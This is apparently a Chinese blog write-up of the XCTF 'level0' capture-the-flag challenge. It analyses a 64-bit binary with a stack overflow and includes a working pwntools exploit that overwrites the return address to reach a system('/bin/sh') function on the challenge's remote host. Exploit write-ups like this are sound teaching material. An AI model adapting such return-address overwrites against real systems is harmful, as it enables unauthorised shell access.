XCTF level0

HCl4y 等级 82 0 0

file查看文件类型,checksec检查保护机制

pwn3-1

64位ELF文件,没有开启保护机制

IDA查看伪码

pwn3-2

主函数输出"Hello,World!"后调用函数vulnerable_function()

pwn3-3

在函数vulnerable_function()中,每次读取200Byte的字节存储在buf中

pwn3-4

buf的空间只有80Byte,存在栈溢出

shift+F12搜索字符串

pwn3-5

发现"/bin/sh"位于函数callsystem中,可以通过栈溢出覆盖返回地址为callsystem执行system函数

构造exp

from pwn import *

context(os='linux',arch="amd64",log_level="debug") 

content = 0

def main():
    if content == 1:
        os = process("level0")
    else:
        os = remote("220.249.52.133",53332)

    payload =b'a'*(0x88)+p64(0x400596)  # buf容量为80Byte,加上8Byte栈底距返回地址长度加上callsystem地址

    os.recvuntil("Hello, World\n")

    os.sendline(payload)

    os.interactive()

main()

flag

pwn3-6

预览图
收藏
评论区
守株待兔
最新文章
XCTF hello_pwn 2021-03-20 20:31
XCTF when_did_you_born 2021-03-20 20:31

导读